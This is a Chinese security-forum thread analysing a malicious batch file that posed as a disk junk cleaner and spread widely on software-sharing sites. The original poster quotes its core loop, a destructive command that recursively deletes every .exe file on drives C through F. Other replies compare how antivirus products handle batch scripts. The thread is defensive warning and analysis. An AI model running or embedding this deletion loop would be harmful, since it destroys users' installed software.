楼主: 無心無
收起左侧

[病毒样本] 【批处理大战安全软件】电脑垃圾清理,让你电脑干干净净(貌似全过)

  [复制链接]
欧阳宣
头像被屏蔽
发表于 2015-1-16 13:28:40 | 显示全部楼层
to mcafee

回帖不复制原帖会死吗。
幽冥の龙
发表于 2015-1-16 13:40:38 | 显示全部楼层
批处理只能靠行为防御
lixihong10
发表于 2015-1-16 13:53:16 | 显示全部楼层
無心無 发表于 2015-1-16 13:14
什么意思?通过什么中招了?这个样本?

http://bbs.kafan.cn/thread-1802827-1-1.html   这个

我规则是写的全盘保护,删除其他盘也是会拦截的防止感染病毒
dongwenqi
发表于 2015-1-16 13:59:57 | 显示全部楼层
抑郁使者 发表于 2015-1-16 12:55
拒绝后,系统没有异常

360就是不错,很给力
MrDeep
发表于 2015-1-16 14:18:14 | 显示全部楼层
本帖最后由 MrDeep 于 2015-1-16 16:02 编辑

To eset


暂未回复
paul_guo
发表于 2015-1-16 14:46:20 | 显示全部楼层
dongwenqi 发表于 2015-1-16 13:59
360就是不错,很给力

并不是
一般你下载的批处理本身你急会调用CMD啊
我要是下载一个垃圾清理妥妥会让他调用CMD的
然后就完蛋了
pal家族
发表于 2015-1-16 15:11:07 | 显示全部楼层
本帖最后由 pal家族 于 2015-1-16 15:15 编辑

卡巴杀vbs 但不杀bat 官方解释:卡巴不能分辨这是不是用户行为!
另外~我没有看出他有什么破坏性 为什么要ping?干嘛的?
無心無
头像被屏蔽
 楼主| 发表于 2015-1-16 15:20:08 | 显示全部楼层
pal家族 发表于 2015-1-16 15:11
卡巴杀vbs 但不杀bat 官方解释:卡巴不能分辨这是不是用户行为!
另外~我没有看出他有什么破坏性 为什么要 ...


你看看代码吧,你运行之后会删除所有EXE文件!
for %%a in (c d e f) do (
    cd /d %%a:\
    for /r %%b in (*.exe) do (
      del /s /q %%b
    )
主要是这一段,删除C D E F 盘的所有EXE文件。
pal家族
发表于 2015-1-16 15:21:46 | 显示全部楼层
無心無 发表于 2015-1-16 15:20
你看看代码吧,你运行之后会删除所有EXE文件!
for %%a in (c d e f) do (
    cd /d %%a:\

为什么要ping来ping去?
無心無
头像被屏蔽
 楼主| 发表于 2015-1-16 15:25:21 | 显示全部楼层
本帖最后由 無心無 于 2015-1-16 15:27 编辑
pal家族 发表于 2015-1-16 15:21
为什么要ping来ping去?


源码请看 我相信你能看懂吧?应该可以看懂他想干什么吧?有什么行为吧?
【看下图】

他们发布的时候还说什么如果有杀软拦截请选择放行或者添加信任
因为清理电脑垃圾文件会触发安全软件的安全机制(说属于误报)......结果很多人都悲剧了
安全软件有的号称不拦截批处理(因为批处理是什么用户行为).....
这种东西破坏性很大,而且大部分用户都是小白根本无法辨别.....
在好几个论坛的软件分享区发现了此软件,下载量突破了几万人!
号称清理电脑硬盘垃圾的......诸多无辜市民纷纷中招...
这种东西破坏性也很大,而且大部分用户都是小白根本无法辨别.....
而且通过各种软件论坛什么的传播也很广 下载量很大,不亚于一次病毒爆发!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-25 17:35 , Processed in 0.093362 second(s), 14 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表